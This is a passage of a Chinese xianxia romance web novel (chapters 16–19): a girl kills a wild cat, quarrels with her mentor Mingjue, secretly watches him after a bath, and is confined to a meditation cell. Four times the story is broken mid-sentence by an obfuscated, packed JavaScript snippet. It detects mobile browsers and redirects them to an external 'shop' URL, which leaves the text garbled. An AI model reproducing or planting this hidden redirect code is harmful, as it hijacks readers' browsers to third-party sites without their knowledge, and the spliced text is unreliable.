明决的身影依旧出现在他该在的地方,清修,采摘,制药,翻阅典籍。他神色平静无波,与往日没有任何不同,仿佛偏殿里那个空了的草窝,以及那只消失的小兽,从来没有存在过一般。 这种异样的平静,非但没有让雪闻笙安心,反而像是一根越绞越紧的弦,让她愈发不安。到底什么情况?明决......是不知道?还是知道了,却不在意? 不,明决不可能不知道。他那般修为,那般敏锐,山中一草一木的细微变化,恐怕都难逃他的感知,何况是曾经悉心照顾过的小生命,可他为何不问?为何不追究? 这种悬而未决的沉默,比直接责难更让她备受煎熬。负罪感、恐惧感,在她心中反复撕扯。 在房间里枯坐了整整一个下午,眼看着夕阳就要西沉,将窗户染成一片凄艳的橘红色,然后变深,颜色红艳艳的,一团红光映在她的眼眸里,艳丽极了,像......残血。 雪闻笙的心蓦然一抽,终于坐不住了,猛地站起身,抱着一种破罐子破摔的冲动,还有一种说不清道不明、想要试探明决底线的欲望,给了她力量壮胆,驱使着她走向书房。 天色变得有些昏暗了,书房里已经燃起了灯,明决正坐在书案后,对着一卷摊开的古老阵图凝神思索,跳跃的烛光映照着他的侧脸,在他的眼眸中投下明灭不定的光影,整个人更添了几分高深莫测。 雪闻笙站在门口,脚步有些虚浮。良久,她深吸一口气,鼓足勇气,走了进去。 “明决。”她微颤着,唤了一声他的名字。 明决没有抬头,目光依旧停留在阵图上,只是淡淡地“嗯”了一声,算是回应。 这平淡的态度,像一把钥匙,瞬间打开了雪闻笙心中那座压抑着无数情绪的闸门。 “我......”她抿了抿唇,声音愈加艰涩,“那只野狸子......它今天早上,想要咬我。我一时情急,失手......把它伤了,我也不知道怎么回事,最后它就......死了。我把它埋在了后山杏林里。” 她终究还是说出来了。没有选择她最初计划的隐瞒,在眼前这个男人面前,她发现自己根本无法编织出完美的谎言去欺骗他,或者说,潜意识里,她也渴望一个了断,渴望知道他的态度。 她说完,心脏提到了嗓子眼,眼睛紧紧盯着明决,不放过他一丝一毫的细微变化,等待着预料中的失望、责备,或是冰冷的审视,还是其他的什么警告。 明决的反应,再次超出了她的预料。 他缓缓抬起头,目光平静地落在她身上,眼神深如潭水,不见丝毫波澜,仿佛她刚才陈述的,只是一件诸如“今天天气真不错”之类的寻常小事。 “嗯。”他又只是淡淡地应了一声,甚至连眉梢都未曾动一下。 她已经在心里建设好了九十九道铜墙铁壁,明决怎么是这样的反应?像一记软绵绵的拳头,打在了空处,雪闻笙积蓄了许久的紧张和恐慌,瞬间化作了一种说不上来的憋闷,心头莫名起了一丝恼火。 他为何如此平静?! 难道在他心中,一条生命的逝去,是如此微不足道吗?不,还是说,他早就料到她会如此?难道他看透了她骨子里的暴戾?选择按兵不动,静待其变?还是......? 一种被轻视、被看穿的感觉,混合着那点残存的负罪感,让她有些口不择言起来,语气不自觉地带上了一丝辩解和强硬: “它不过是一只畜生!野兽终究是野兽,就算你救了它,悉心照料,它还是改不了嗜血伤人的本性!我接近它是想对它好,可它却反咬我一口,我当时若不出手,受伤的就是我!我没觉得自己哪里做错了!” 她挺直了脊背,这样似乎能为自己增添几分底气,目光直直地迎向明决,带着初生牛犊不怕虎的莽撞。 明决静静地看着她,看着她激动微微泛红的脸颊,看着她那双漂亮眼眸中闪烁的不服。 她委屈,叛逆,又倔强。 明决没有因为她的顶撞而动怒,只在眼神深处掠过一丝极淡的失望。 是的,他觉得有点失望,这点失望不是源于她失手伤了那只小野狸,而是她此刻的态度,她对于生命的那种轻蔑,以及试图为自己开脱而找的,看似合理实则偏激的借口。 他没有立刻出言反驳她,沉默了片刻。 这沉默,带着一种无形的压力,雪闻笙强装出来的气势,不由自主弱了几分。紧张的气氛到达了一个令人难以承受的高点,就在雪闻笙以为他会出言训斥时,他忽然转移了话题,语气依旧平稳,听不出喜怒: “你近日,心绪不宁,噩梦频发,可是如此?” 雪闻笙心头猛地一跳,蓦然被戳中了最隐秘的心事,脸色瞬间白了几分。他连这个都察觉到了?她一直都很小心的,从来没有在他面前显露过半分不自然。他......他怎么知道? 她什么也说不出,这个话题是她最不愿意触碰到的密辛。 不等她回答,明决继续说道,声音像山间流淌的清泉,冷静而透彻:“心若镜台,蒙尘则晦。外力擦拭,终是徒劳。须得自性清明,方能映照万物,不染尘埃。” 他这番话语,指向意义不慎明确,如同在云雾中给迷路的人指引方向,却又隔着一层薄纱,需要听者自己去悟,自己去寻得一条出路。 雪闻笙此刻心浮气躁,哪里听得进这些玄之又玄的道理?她只觉得他在回避她的问题,在用这些高深的话来搪塞她。一种“他在说什么?他根本不懂我”的委屈和愤懑涌上心头。 同时,另一个念头闪电一样划过她的脑海——力量!如果她有足够的力量,像梦里那样,像刚才情急之下那样,能够掌控一切,保护自己,甚至. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892649|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....让明决再也不能用这种不冷不淡的态度对待她! 这个念头让她心跳加速,血液发热。她忽然抬起头,目光灼灼地看向明决,孤注一掷,渴望着请求他: “明决!你教我修炼功法吧!不是修心养性强身健体的那种,是那种很厉害的功法,我不想再这样弱小,连一只小野兽的攻击都应付不了!我想变得强大,我想有能力保护自己!”能力强大了,她才更有安全感,说不定以后真的不会再做噩梦了。 她的要求如此直白,如此急切,与她平日里那乖巧好学的形象完全不同。 明决看着她眼中那簇燃烧的,混合着戾气的火焰,心中那丝失望更深了。他清楚地知道,以雪闻笙如今这明显失衡的心境,传授她功法,无异于抱薪救火,只会助长她心中的怨气,将她更快地推向不可控的深渊。 他缓缓摇头,语气斩钉截铁,没有任何转圜的余地:“不可。” “为何不可?”雪闻笙急了,上前一步,几乎要抓住他的衣袖,“你不是说我心绪不宁吗?修炼厉害的功法,凝神静气,不正好可以让我心境强大,更有效的平复那些不安焦灼吗?”她觉得就是现在什么也不会,什么也不懂,自己才这么彷徨无助的。 “持强凌弱,非是正道。以暴制暴,终遭反噬。”明决的目光像能穿透人心的利剑,直视着她,缓慢而坚定得告知她:“你心中所求之力,非为静心,实为纵欲。此路,不通。” 他的话,一针见血,彻底撕开了雪闻笙那一层自我欺骗的遮羞布。她的脸颊瞬间涨得通红,是羞恼,也是被看穿后的狼狈。 “你......我......”她气结,却又无法反驳。 明决泠声下了命令:“从明日起,你于露台之上,每日修习两个时辰‘清音静心咒’。不必急于理解其意,只需凝神静听,感受其韵律流转,涤荡心尘。” 说完明决不再看她,将目光重新落回书案的阵图上,仿佛那才是值得他投入全部心神的事物。 清音静心咒?那是什么?听起来就枯燥无比! 雪闻笙还想争辩,但明决已经重新沉浸在他的世界里,那副拒人于千里之外的姿态,明确地表示此事已定,再无商量余地,她可以走了。 雪闻笙看着他那张无悲无喜、如同玉石雕琢般的侧脸,巨大的无力感和委屈涌上心头。他不教她功法就算了,还不相信她,甚至......可能在心里已经给她定了性。 她不能再忤逆他的意思,让自己的形象一落再落了,她咬了咬唇,终究没再说什么,转身冲出了书房。 在她离开之后,明决执笔的手,微微一顿。笔尖的墨汁,在泛黄的纸页上,晕开了一个小小的墨点。他抬眼,望向窗外沉沉的夜色,眼眸深处,第一次浮现出一丝连他自己都难以完全厘清的复杂情绪。 他问自己,当初救她回来,是对,还是错? 这尘寂山的清静,或许终究......平息不了她体内那日益躁动的血脉与戾气。他让她修习清音静心,与其说是教导,不如说是一次最后的尝试,是一次让她自我救赎的机会。 只是,这迷途的羔羊,是否愿意回头?浮躁的心,又能否被清音洗涤? 他轻轻阖上眼,发出一声叹息,轻得像山间的云雾,很快便消散在寂寥的夜色中。 17. 第 17 章 自那日书房不欢而散,已过去三四日光景。 雪闻笙将自己关在房里,赌气般不去见明决,连每日例行的读书习字、药圃劳作都寻了借口推脱。她心里憋着一股气,怨他的冷静,怨他的拒绝,怨他不带丝毫特殊情感的“慈悲”。 可这股气,在寂静的独处和时间的消磨中,像投入火中的湿柴,除了会冒出更多呛人的烟雾,还会熏得她心口发闷,眼眶发酸,真是活受罪啊,活受罪! 这日午后,阳光正好,透过窗户洒进屋里,落下满室斑驳跃动的光影。雪闻笙坐在镜台前,已有好一会儿了。她执起桃木梳,心不在焉地梳理着长及腰际的青丝,目光早就飘远了,不过短短几日,思念便已经泛滥成灾,在她心房里扎了根,茁壮成长,不受控制地爬满了她的心墙,关都关不住。 明决那素白的身影,清冷的气息,沉稳的语调,甚至是他拒绝她时那平淡无波的眼神,在她脑海中反复浮现。 想到这里,胸口便像被什么揪紧了似的,闷闷地疼。她发现比起明决的拒绝,和对她若有若无的失望,更让她难以忍受的,是见不到明决。 怎么办?她想出去,想见他。 她开始后悔那天的冲动和顶撞。 为什么要与他争执?为何要那般急切地索求力量?或许......或许她去服个软,认个错,他们之间那层无形的隔阂便能消弭?她便能重新回到他身边,哪怕只是像以前那样,远远地看着,静静地听着,不管怎么样都好过现在这样吧,不上不下,不尴不尬的。 心里的念头一旦升起,便再也无法遏制,她决定行动起来。 打开那只旧衣箱,指尖在一叠衣物间逡巡,最终停在那件水绿色的衣裙上。明决唯一夸过的一句“尚可”,便是给了它。料子不算顶好,颜色却清透得像初春的湖面。她小心翼翼地将裙子换上,系腰带时格外认真,打了个端正的结,又觉的太板正,松开重新挽了个稍稍随意的样式。 铜镜里的人影有些模糊,却还是映出了她眼中的忐忑。她清了清嗓子,对着镜子,想要弯起一个稍显自然的,带着悔意的笑容。 “明决,我是来道歉的,对不起......”声音细细软软,眉尖若蹙,眸子低垂,一副可怜见儿的模样。可话一出口,她自己先蹙了眉——镜中人眉眼耷拉,小脸皱成一团,活像只被雨淋湿又遭了委屈的猫儿,哪有什么诚恳,只剩下一股子傻气的衰样。 “不行,不行,”她懊恼地拍了拍自己的脸颊,“鬼才喜欢你这副样子呢。” 她挺直背脊,调整呼吸,努力让神色平静下来,嘴角的弧度压下些许,眼里的水光也敛去些,换上一副更郑重其事的神情。 “明决,那天......我不该说那些话。”她顿了顿,寻找着更妥帖的词句,“我说完以后,立刻就后悔了。”声音放低了些,添上几分哽咽,“我知道错了。” 还是不对,刚刚那样像在背书,不能显得过于刻意,明决一眼就能看穿,得含蓄,矜持。 她有些气馁地坐下,手指无意识地绞着裙摆。阳光暖融融地照在背上,却驱不散心里那点凉意。她想起明决教她写字时的耐心,想起他虽总是淡淡却会在她偶尔偷懒时轻轻敲她额头的竹简,想起争吵那日他沉默之后、瞬间暗淡的眼眸。那眼神比任何大声的斥责都让她难受。 悔意这时才真真切切、铺天盖地涌上来,比刚才练习时任何一次都要汹涌。她忽然明白了,自己纠结的并不是措辞或表情,而是那份害怕他不肯原谅的惶恐,和弄伤了重要之人后的追悔痛惜。 心意到了,姿态或许反而不那么重要了。 她再次抬头看向镜中的自己,眼神渐渐沉淀下来,先前的矫饰与慌乱淡去,只剩下一片清澈的,带着淡淡哀愁的诚挚。她练习了太多次的“诚恳”,此刻方才从心底悄然生长出来。 她最后练习了一遍,声音不大,字字清晰:“明决,我今日的功课做完了,‘清音静心咒’也听足了十遍。”这是她能想到的,最笨拙,也最实在的求和方式——你看,你要求的,我都乖乖做好了,你就不要再生气了吧。 直到此刻,镜中人的神情终于让她觉得勉强过得去。那不仅仅是练习后的熟练,更是一种内里稍稍踏实了些的平静。她站起身,理了理水绿色的裙裾,走向门边。推开门的刹那,午后饱满的阳光扑面而来,将她笼罩其中,也照见了她眼底那簇小小的,坚定的光。 然后,她先去了厨房,用心煮了一壶明决平日最常饮的“竹露青茶”。茶叶是今年春日她亲手采集竹叶上的晨露炒制的,带着一股独特的清冽甘醇。她守在火炉边小心地控制着火候,生怕有一丝差池,破坏了他习惯的味道。 确保每个步骤都完美,大功告成之后,她双手捧着温热的茶壶,深吸一口气,像是即将奔赴一场重要的仪式,朝着明决常在的静居走去。 午后的这个时辰,庭院非常寂静,只能听见风吹过竹叶的沙沙声。静居的门虚掩着,里面没有像往常一样传出书页翻动的声音,也没有檀香的气味飘出来。 他不在静居? 雪闻笙心下微疑,脚步却未停。或许他在书房?又或是去了药圃深处?她想着,先将茶送去他常待的地方也可以,他一会儿准回来,她不介意等。 她轻手轻脚地推开静居的门,里面果然没有人。蒲团上面空空的,书案整洁,典籍井然,空气中弥漫着墨香与药草气,却独独缺少了那抹令她心安又心乱的身影。 她颇为失落的放下茶壶,犹豫着要不要去寻他,转念一想:“还是矜持点,安心在此等候吧。”她嘴上这么安慰自己,身体里却像有只不安分的小猫,抓心挠肺的。 “不应该啊,他去哪了这么久还不回来?再等下去,茶就凉了。”她终于坐不住了,站起身的时候,目光不经意一瞥,整个人顿住了,在静居另一边,有一扇侧门,平日里极少开启,此刻正虚掩着一条小缝隙,有光微微透过来,这扇门是通往后方温泉池的。 难道......他在里面沐浴?也不是没有可能。 这个猜测让雪闻笙的心跳莫名漏了一拍。 明决素来喜洁,尘寂山的后山有一处引自地下热泉而成的天然浴池,他时不时便会去浸泡片刻,用以涤荡身心,驱除炼药时沾染的杂气。只是他每次都会将门户紧闭,雪闻笙从来没有撞见过。 鬼使神差地,她的脚步像有了自己的意识,一种混合着好奇与某种隐秘渴望的情绪,驱使着她,朝着那扇侧门挪去。 她不敢用手触碰到那道门,担心会发出声音,于是屏住呼吸,如同做贼一般,将眼睛悄悄地凑近了那条狭窄的门缝,她没有其他意思,只是想窥探一眼,确认他是否真的在那里。 首先涌入感官的,是带着硫磺与草药混合的独特气息,接着是温热湿润的淡淡水汽,然后,她看到了——氤氲的水雾像薄纱一样弥漫在池畔,一个身影背对着门口,正站在池边的一方青石上。 正是明决。 他没有穿着平日那身严谨板正的素白道袍,只随意披着一件同色的宽松寝衣,衣带应该是随手系的,有些松散。他显然刚从温暖的池水中走出来,柔软的衣料被水汽濡湿,有些服帖地勾勒出他宽阔而不过分贲张的肩背线条,领口微微敞开着,正好露出他那一截流畅优美的颈项。 他墨黑的长发未束,湿漉漉地披散在身后,发梢还在滴滴答答地落下水珠,沿着他脊柱的沟壑,滑入了微敞的衣领深处,在素白的布料上晕开了一小片深色的水迹,隐隐约约透出一些肉粉色。 他正微微侧着头,用一块洁白的棉布,慢条斯理地擦拭着颈侧和锁骨处的水珠。随着他的动作,那松散的衣领悄无声息,滑落得更开了一些,清晰地露出一段线条分明、白皙如玉的锁骨,还能看见其下小片紧致平滑的胸膛肌肤。零星的小水珠不断顺着他脖颈的弧线滚落,颇有灵性的滑过那精致的锁骨凹壑,最终隐没在衣料的阴影之下。 许是刚泡过温泉,明决总是略显苍白的肌肤,此刻透出一种温润的、近乎透明的质感,仿佛一尊上好的暖玉。水汽萦绕在他周身,柔和了他平日里那过于冷硬锐利的气场,竟难得地透出几分随性与慵懒。 忽然,他顿了一下,弯下腰,伸出手,轻轻扶了一把石头边长歪了的小野花,避免自己无意间可能会踩到,误伤它。 待扶正了小花之后,他继续擦拭,动作依旧不疾不徐,带着一种惯有的、深入骨髓的优雅淡定。没有刻意展示,也没有刻意遮掩,一切都显得那么自然,仿佛山间云雾舒卷,林间清泉流淌一样。 殊不知,他这无意间流露出的模样,褪去了几分仙气、令他多了几分人间烟火气,尤其是那微敞的衣襟下,惊鸿一瞥的锁骨与肌肤,像一道猝不及防的闪电,猛地劈中了暗处窥视的雪闻笙! 她的呼吸在某一刻骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892650|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停滞了,大脑一片空白,不知今夕是何夕,只觉得浑身的血液“轰”的一下,全都涌上了头顶,她的脸颊、耳朵、脖颈瞬间被烫得像烈火灼烧。 心脏也完全不是自己的了,像是被一只无形的手狠狠攥住,又猛地松开,完全失控,“咚咚咚”地狂跳起来,震得她浑身发软,几乎站立不稳。 这样的明决,是她从来没有见过的。 在她看来,明决永远是那个高高在上、清冷出尘、理性克制、衣冠严谨得像庙宇神像般的谪仙。他的魅力在于他的强大,他的博学,他的悲悯,他的疏离,那是一种遥不可及的,令人敬畏的光辉。 可眼前这一幕...... 那微湿的墨发,那松散的衣衫,那惊鸿一瞥的锁骨与肌肤,那氤氲水汽中透出的、罕见的不设防与随性慵懒......这一切,都仿佛将那尊不食人间烟火的神像,骤然拉近了凡尘,染上了一层活色生香的......少年气?! 是的,少年气。 这样的明决对雪闻笙是极具冲击力的。 褪去了平日那层威严,疏离的外壳,此刻的他,竟有一种洗净铅华后,纯净而诱人的魅力,像一块未经雕琢的璞玉,在温润的水汽中散发着内敛而夺目的光华。 这巨大的反差,这极具视觉冲击力的画面,猝不及防的打开了雪闻笙心中那扇名为“情欲”的魔盒。 一时之间,害羞、慌乱、不知所措,她像是被烫到了一般,猛地缩回头,转过身,几乎是手脚并用地,踉踉跄跄地逃离了那扇侧门,然后,仅存的理智让她抱起了那盏微凉的茶壶,她不能留下来过的痕迹,然后火速逃离了书房。 一路小跑冲回了自己的房间,“砰”的一声紧紧关上了房门,背靠着门板,大口大口地喘着气,仿佛刚刚经历了一场惊心动魄的大逃亡。 可是,身体逃开了,心还留在了原地。 她手下无意识的在地上扒拉了几下,居然摸出一本《冰心经》来,原是前两天被她看厌了,随手扔在地上的。冰心,冰心,对,她现在得沉心,静心,否则下一刻会因为心脏爆体而亡的,她胡乱翻开几页,读阅起来。 但她瞥到的画面,已经像烙印一般深深地刻在了她的脑海里,不自觉的反复回放,挥之不去,怎么冰心,静心也没用了。 微湿的墨发...... 松散的衣襟...... 精致的锁骨...... 温润的肌肤...... 还有那氤氲水汽中,难得一见的、慵懒而不设防的神情...... 每一个细节,都像是一簇小小的火苗,在她身体里点燃,汇聚成一片燎原的烈焰,烧得她口干舌燥,面红耳赤。 静个屁的心!自欺欺人! 她再次抛弃了那本《冰心经》,随手一扔,双手捂住自己滚烫的脸颊,坐在地上,将发烫的脸深深埋入膝盖。 原来他不仅仅是那个高高在上的明决。 他也是一个......男人。 一个有着血肉之躯,会沐浴,会散发,会流露出不经意间少年气的男人。 这个认知,让她心跳失序,也让她浑身战栗,也让那份原本朦胧的、带着崇拜与依赖的爱慕,骤然间变得清晰、具体、且......充满了难以启齿的旖旎色彩。 她开始不受控制地想象...... 想象自己把那微湿的发丝拂过指尖的触感...... 想象那松垮衣襟下,是否还有着更紧实流畅的线条...... 想象那温热的水珠,是否还缀在那如玉的肌肤上...... “啊......”她发出一声像小兽般,羞窘无比的呜咽,将脸埋得更深了。 她觉得自己像个无耻的偷窥者,像个心怀不轨的登徒子,她唾弃自己。可偏偏,那种因为窥见禁忌而产生的羞耻兴奋的战栗感,又让她沉溺其中,无法自拔。 先前那些赌气、郁闷、对力量的渴望,在这一刻,都被这突如其来的、汹涌澎湃的少女怀春之情冲得七零八落。 她又一次,更深地,无可救药地沉沦了进去。 沉沦在这份无望,却让她甘之如饴,对那轮清冷月华的痴妄迷恋之中。 窗外,阳光正好,山风依旧。屋内少女的心,刚刚历经了一场无声的海啸,波涛汹涌,再难平静。 她该怎么办? 18. 第 18 章 那日温泉一瞥,在雪闻笙心湖中激起的不仅仅是涟漪,而是沸腾不休的蒸汽,将她整个人都蒸得晕晕乎乎。 思念,因此变得分外具体,也分外难熬。 不再是虚无缥缈的依恋,而是掺杂了清晰影像与灼热体温的渴望。 几日来的赌气,如今看来显得如此幼稚,简直不知所谓。她需要一個理由一個台阶去靠近他,去打破那日书房争执后留下的隔膜。 思来想去,还是只能去认错了,这是最佳选择。 尽管她内心深处,并不认为自己当日反击野狸子,向他开口索求力量有什么根本性的错误,这个世界的法则就是弱肉强食,保护自己,渴望变强大,不是天经地义的吗?但在对明决那汹涌澎湃的情感面前,这些坚持显得微不足道。 如果认错能让他不再失望,能让他恢复以往平和态度,哪怕只是表面上的平和,她愿意说那些违心的话。 她再次精心准备了茶点---不是上次的竹露青茶,换了一种安神宁心的“兰芷凝香露”,配上一碟他偶尔会尝一两块,模样精致的桂花糕。她再次对着水镜练习了许久,确保自己的眼神足够温顺,语气足够诚恳,姿态足够谦卑。 于是她端着托盘,走向了偏厅,那里存放着诸多医典药册,明决此时此刻一定在那儿待着。 偏厅的门开着,她一眼就看见了,明决果然在这儿。 他正站在一个高大的书架前,指尖拂过一排排书脊,似乎在寻找什么典籍。他已经换回了平日那身一丝不苟的素白道袍,宽大严谨,将脖颈与手腕都遮掩得严严实实,连一丝风都透不进去,墨发也用一根简单的玉簪整齐束起,露出光洁饱满的额头,又恢复了那份令人心安,又令人心碎的清冷与端凝,仿佛池畔惊鸿一瞥的身影,只是雪闻笙一场过于逼真的旖旎幻梦。 “明决。”雪闻笙定了定心,站在门口,轻声唤道,她把声音放得又轻又软,带着柔柔的怯意。 “何事?”明决寻声回过头,目光落在她身上,以及她手中捧着的托盘上。光从面容上看不出他现在的情绪,既没有预料中的冷淡,也没有因为她主动前来而流露半分缓和的迹象。 雪闻笙端着托盘走上前,将茶点轻轻放在他手边的小几上,然后退后一小步,微微垂下头,做出认错的姿态,声音愈发低了:“我是来认错的。前几日......是我不对,我不该顶撞你,不该那般执拗。” 她斟酌着用词,努力让自己的话语听起来真挚:“那只野狸子的事......是我偏激了,出手不知轻重。我以后......一定会更加小心,不再妄动无名之火。” 明决静静地听着,没有打断她。 他没有看她低垂的脸,目光扫过那壶兰芷凝香露,热气带着清雅的香气袅袅升起,模糊了他些许神情。 待她说完,偏厅内陷入一片短暂的寂静。这寂静让雪闻笙的心不由得提了起来,她偷偷抬起眼帘,想从他脸上窥探一丝松动。 明决终于开口,问的却不是她预想中关于认错本身的话。 “近日修习‘清音静心咒’,感觉如何?”他话题一转,音调平稳,听不出任何试探的意味,只是寻常的关心课业似的。 雪闻笙微微一怔,连忙答道:“还好......念着咒音,心里......似乎能静下来一些。”这话不假,最起码有半句是真的,那清心咒韵律奇特,确实有暂时安抚心神的效用,只是远不能根除她心底的躁动与那些黑暗的诱惑。 “嗯。静心只是伊始。”明决点了点头,目光重新落回书架,带着一种无知无觉的引导,随口又问:“可知日后,路在何方?” 日后?路在何方? 她从来没有真正深思过这个问题。 留在尘寂山,守在明决身边,这就是她全部的心愿。至于其他的......她没想过,也不愿意去想。 她语塞了,张了张嘴,却发现自己说不出一个能让他满意的答案。她总不能说,她的路就是跟着他吧?或者说,她的路就是变得强大,不再受制于人,甚至......能够匹配得上他? 这些念头在她脑中盘旋,无一能宣之于口。她只能含含糊糊地,带着一丝敷衍,低声道:“我......我不知道。但我会听你的话,好好修习,静心养性......不会......不会再让你失望。” 她的回答,避重就轻,空洞无力。她所有的服软认错,都像是漂在水面上的浮花,看似存在,却与深层的水流毫无交融。她的谦逊乖巧不是源于内心的觉悟,而是为了安抚他、取悦他、维系现状的无奈之举。 明决终于将目光从书架上完全收回,重新投注在她身上。那目光,平静依旧,却仿佛带着千钧的重量,能穿透她所有精心伪装出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892651|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的温顺与悔意,直达她内心深处那片没有真正反省,甚至暗自不服的黑暗土壤。 他看着她,看了许久。 “心非口是,言不由衷。”他缓缓开口,字字清晰,像玉磬轻敲,回荡在寂静的偏厅里,“你并未知错,亦不知如何改过。你所求,非是内心澄明,不过是暂且的相安无事。” 他话里藏锋,毫不留情地剖开了雪闻笙所有伪装。她的脸颊瞬间失去了血色,火辣辣的一阵难堪。她猛地抬起头,对上他的眼睛,想要辩解,却发现自己在他面前,任何言语都是无效的。 明决也没有给她争辩的机会,他转过身去,不再看她,语气恢复了惯常的淡然:“既然如此,你便搬去后山禅室禁闭思过吧。何时真正想明白,何为对错,为何要改,何为前路,何时再出来。” 禁闭思过! 雪闻笙如遭雷击,呆立当场!她万万没想到,她放下身段前来“认错”,换来的竟是这样的结果!他甚至连一句重话都没有,就这样平静地将她打入了“冷宫”! “明决!我......”她急急上前一步,声音带着委屈的哽咽。 “去吧。”明决背对着她,只留下这两个字。他的身影挺拔孤峭,透着一种威严和抗拒,她所有的情绪与不甘,都无法撼动他分毫。 雪闻笙看着他决绝的背影,所有的话都堵在了喉咙里。她死死咬住下唇,猛地转身,冲出了偏厅。 那壶精心准备的兰芷凝香露,兀自在矮几上散发着袅袅余香,而那碟精致的桂花糕,终是未曾被动过一块。 明决静立原地,直至她的脚步声彻底消失在廊外,才轻叹一声。 他如何不知她口是心非?又如何不知她并未真心悔悟?只是,有些路,终究要她自己想通,有些坎,终究要她自己迈过。外力强压,徒增反噬。让她去禁闭,不是惩罚,而是给她一个隔绝外扰,直面内心的机会。 他缓步走到窗边,望向远处云雾缭绕的山峦,目光悠远而深沉。救她,是缘还是劫?导她,是功还是过?这一切,或许连他这窥得天机一隅的人,也难以下定论了。 后山禅室,清冷简陋,唯有一榻,一桌,一蒲团。 雪闻笙被木心童心“请”入其中,厚重的木门在她身后缓缓合上,隔绝了外界的光线与声音,也仿佛将她所有的希冀与躁动,一同封锁在了这片狭小寂静的空间里。 19. 第 19 章 这禅室,与其说是室,不如说是一方凿刻在山壁中的石洞。 雪闻笙看了看里面,陈设极简,唯一的光源来自高处一扇狭窄的石窗,漏下的些许天光,照不亮满室的清冷与孤寂。 雪闻笙僵立在原地,静静听着门外落锁的轻微“咔哒”声,终于,最后一丝强撑的力气也仿佛被抽空了,既没有哭闹,也没有愤怒的捶打发泄,她顺着冰凉石壁缓缓滑坐在地上,后背一片寒凉,浸透骨髓的冷意逐渐蔓延到心底,冻结了她所有的情绪。 他竟真的......将她关了起来。 为了什么? 为了那只野性难驯,主动攻击她的野狸子? 为了她情急之下的自卫? 还是为了她那番“不知前路”的回答? 她想不明白,觉得无比委屈,无比荒谬。她到底做错了什么?她只是不想被伤害,只是渴望拥有保护自己的力量,只是......只是不知道那虚无缥缈的“前路”究竟指向何方!这难道是什么十恶不赦的大罪吗? 为什么在他眼中,就成了需要被囚禁起来“思过”的罪愆? “口是心非,言不由衷......”明决平静像冰锥一样尖锐的话语,再次在她的耳边响起。 是,她承认,她的认错并不是完全出自真心。可她那番姿态,小心翼翼的放下所有骄傲,不过是为了平息他的不悦,为了自己能够重新靠近他,为了能继续留在他身边啊!她所有的曲意逢迎,所有的隐忍克制,没有换来一丝宽容,得到的居然是这冰冷的石壁与无情的囚禁! 她越想越难过,明决对那只野狸子尚且有耐心救治,悉心照料。对她呢?除了理性的教导、克制的关怀,便是这不容抗拒的惩罚!在他心里,她雪闻笙,究竟算什么?一个比不上畜生的麻烦物件吗? 一种被误解、被辜负、被残忍对待的感觉,让雪闻笙觉得有一条冰凉的铁链缠绕着心脏,越收越紧......那个曾经会因为采集到一颗饱满灵果而欢欣雀跃,会因为听懂一段经文而眼睛发亮,会因为他一句平淡的赞许而偷偷开心许久的雪闻笙,仿佛已经死去了,被埋葬在那日书房争执的冰冷目光里,被禁锢在这方不见天日的石室中。 她环抱着双膝,将脸深深埋入臂弯。 她爱他,爱得心都疼了。 爱他谪仙般的风姿,爱他渊博的学识,爱他悲悯苍生的胸怀,甚至爱他那份拒人于千里之外的清冷。 可这份爱,如今成了她痛苦的根源。 她不敢告诉他。 她深知,一旦袒露这份不容于世俗、更不容于他道心的情感,等待她的,绝不会是温情脉脉的回应,只会是更彻底的疏离,或许......是真正的驱逐。所以她辛苦地压抑着,将所有的悸动、渴望、旖念都死死摁在心底,扮演着一个乖巧的、好学的、偶尔会闹点小脾气的后辈角色。 这压抑,本就让她备受煎熬。如今,这囚禁般的“思过”,更是将她推向了崩溃的边缘。 石室的夜晚很冷,即使裹紧了被子,寒意依旧像细密的针,无孔不入地刺入骨髓。身体的冷尚可忍受,心中的冰冷与孤寂却像个黑洞,吞噬着她所有的光亮。 她睡不安稳,意识在清醒与迷糊间沉浮。那些属于异族,光怪陆离的梦境,再次趁虚而入。 她仿佛融入了那片血色与黑暗交织的世界。她感受到族人在追杀与反抗中迸发出的暴戾与绝望,感受到那种掌控力量的快感。梦境中,她有一种如鱼得水般的熟悉。那潜藏在血脉深处的暴虐与嗜血,得到了肆无忌惮的宣泄,仿佛那才是她该走的路,是她摆脱苦闷的唯一出路。 然而醒来过后,她还是害怕。 她怕自己终有一日,会控制不住这日益躁动的血脉。 她怕自己会在现实中,也做出如同梦中那般残忍暴虐的事情。 她更怕自己会伤害到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 